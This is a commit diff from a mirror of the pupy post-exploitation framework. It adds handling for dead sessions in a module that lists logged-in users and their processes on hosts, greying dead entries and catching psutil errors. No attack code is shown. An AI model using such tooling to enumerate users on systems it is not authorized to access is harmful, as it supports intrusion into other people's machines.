mirror of https://github.com/n1nj4sec/pupy.git
Handle dead records
This commit is contained in:
parent
67d2af6c0e
commit
db55a5cea2
|
@ -39,6 +39,9 @@ class WModule(PupyModule):
|
|||
"grey" if idle > 60*60*24 else ""
|
||||
)
|
||||
|
||||
if 'dead' in session:
|
||||
color = 'darkgrey'
|
||||
|
||||
object = {
|
||||
'HOST': Color(host, color),
|
||||
'USER': Color(
|
||||
|
|
|
@ -171,14 +171,20 @@ def users():
|
|||
}
|
||||
|
||||
if 'pid' in terminfo:
|
||||
pinfo = {
|
||||
k:to_unicode(v) for k,v in safe_as_dict(psutil.Process(
|
||||
terminfo['pid']), [
|
||||
'exe', 'cmdline', 'name'
|
||||
]).iteritems()
|
||||
}
|
||||
try:
|
||||
pinfo = {
|
||||
k:to_unicode(v) for k,v in safe_as_dict(psutil.Process(
|
||||
terminfo['pid']), [
|
||||
'exe', 'cmdline', 'name'
|
||||
]).iteritems()
|
||||
}
|
||||
|
||||
terminfo.update(pinfo)
|
||||
terminfo.update(pinfo)
|
||||
except (psutil.NoSuchProcess, psutil.AccessDenied):
|
||||
terminfo.update({
|
||||
'pid': terminfo['pid'],
|
||||
'dead': True,
|
||||
})
|
||||
|
||||
if 'terminal' in terminfo:
|
||||
try:
|
||||
|
|
Loading…
Reference in New Issue